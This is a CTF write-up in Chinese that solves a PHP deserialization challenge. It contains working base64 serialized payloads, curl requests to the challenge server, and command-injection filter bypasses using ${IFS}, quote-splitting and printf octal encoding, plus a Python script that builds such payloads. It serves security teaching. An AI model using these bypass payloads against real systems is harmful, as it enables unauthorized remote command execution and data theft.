[攻防世界][江苏工匠杯]unseping
打开靶机对应的url
上来就是代码审计
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
从这里看到有个反序列化的操作,那应该就是要考察我们序列化绕过的知识
知识点:
php 一个对象在释放时,会先调用__wakeup() 之后调用__destruct()
这里在__wakeup()
里访问了waf()
,那么只要反序列化绕过套路绕过就可以了,然后在__destruct
只要method值为ping就可以操作了
但是现实是残酷的,根据响应可以看到后台php版本为PHP/7.4.28
, 而存在php wakeup绕过漏洞的php5的版本为< 5.6.25
、php7的版本为< 7.0.10
所以本题是没有 wakeup 绕过漏洞的,所以考察的是如何绕过waf函数的检查
通过代码审计可以看出,在检查这些东西 /(\||&|;| |\/|cat|flag|tac|php|ls)/
也就是不能出现 | & / cat flag tac php ls 空格
, 从这里也可以看出,很可能存在一个叫flag.php 的文件,暗喜...
1. 首先我们想看一下目录下有什么,想执行类似ls -l
命令,ls被过滤,空格被过滤,那么得找替代命令
知识点:
1. 空格:
linux 上当shell是 bash的话 空格可以用 ${IFS}或者$IFS$9 代替
PS: $()与 ` `(反引号):都是用来作命令替换的,执行括号或者反引号中的命令
其他空格绕过例子:
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
2. 命令拆分:
在linux下 ls 等价于 l''s 等价于 l""s,都可以执行,其他命令也是一样的,这是一个特性
那么我们可以把命令搞成l""s${IFS}-l
,然后进行序列化, 以下是序列化代码,后面用php解释器执行一下
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$t_ease = new ease('ping', array('l""s${IFS}-l'));
$t_serialize = serialize($t_ease);
echo $t_serialize;
echo base64_encode($t_serialize);
?>
执行以下,得到
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:12:"l""s${IFS}-l";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMjoibCIicyR7SUZTfS1sIjt9fQ==
执行一下
curl -d "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMjoibCIicyR7SUZTfS1sIjt9fQ==" http://61.147.171.105:51590/
返回
array(3) {
[0]=>
string(7) "total 8"
[1]=>
string(53) "drwxr-xr-x 1 root root 4096 Dec 17 13:04 flag_1s_here"
[2]=>
string(50) "-rwxr-xr-x 1 root root 863 Aug 18 07:49 index.php"
}
那么从返回可知,内容在目录flag_1s_here里,再造请求命令l""s${IFS}f""lag_1s_here
执行一下,得到
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:24:"l""s${IFS}f""lag_1s_here";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
拼接一下url,执行一下
curl -d "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==" http://61.147.171.105:51590/
返回:
array(1) {
[0]=>
string(25) "flag_831b69012c67b35f.php"
尝试访问一下这个php
http://61.147.171.105:51590/flag_1s_here/flag_831b69012c67b35f.php
啥也没返回,看来flag可能在源码里
构造命令c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp
知识点:
printf绕过
printf 同时可以识别八进制表示或十六进制表示的字符串
printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出
\NNN 八进制数 NNN 所代表的 ASCII 码字符。
\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。
\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。
\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位
那么 printf${IFS}"\57" 表示把 / 给输出出来 绕过waf检查
得到
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:74:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
拼接一下url,执行一下
curl -d "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319" http://61.147.171.105:51590/
返回
array(2) {
[0]=>
string(5) "<?php"
[1]=>
string(47) "//$cyberpeace{fe4f4de76271ecf858952de5905e8968}"
}
boom 得到 flag $cyberpeace{fe4f4de76271ecf858952de5905e8968}"
当然也可以将整个命令cat flag_1s_here/flag_831b69012c67b35f.php
进行八进制编码,然后用printf输出出来进行绕过,然后加上$()
进行执行
如下
$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")
等价于
cat flag_1s_here/flag_831b69012c67b35f.php
PS:
一段转化八进制的代码
# 八进制编码
def encodeOctal(str):
# 只显示八进制
print("八进制")
for i in str:
print(oct(ord(i)).replace("0o", "\\"), end="")
# 显示Linux八进制payload
print("\nlinux payload")
payload = '$(printf${IFS}"'
for i in str:
payload += oct(ord(i)).replace("0o", "\\")
payload += '")'
print(payload)
if __name__ == '__main__':
str = "cat flag_1s_here/flag_831b69012c67b35f.php"
encodeOctal(str)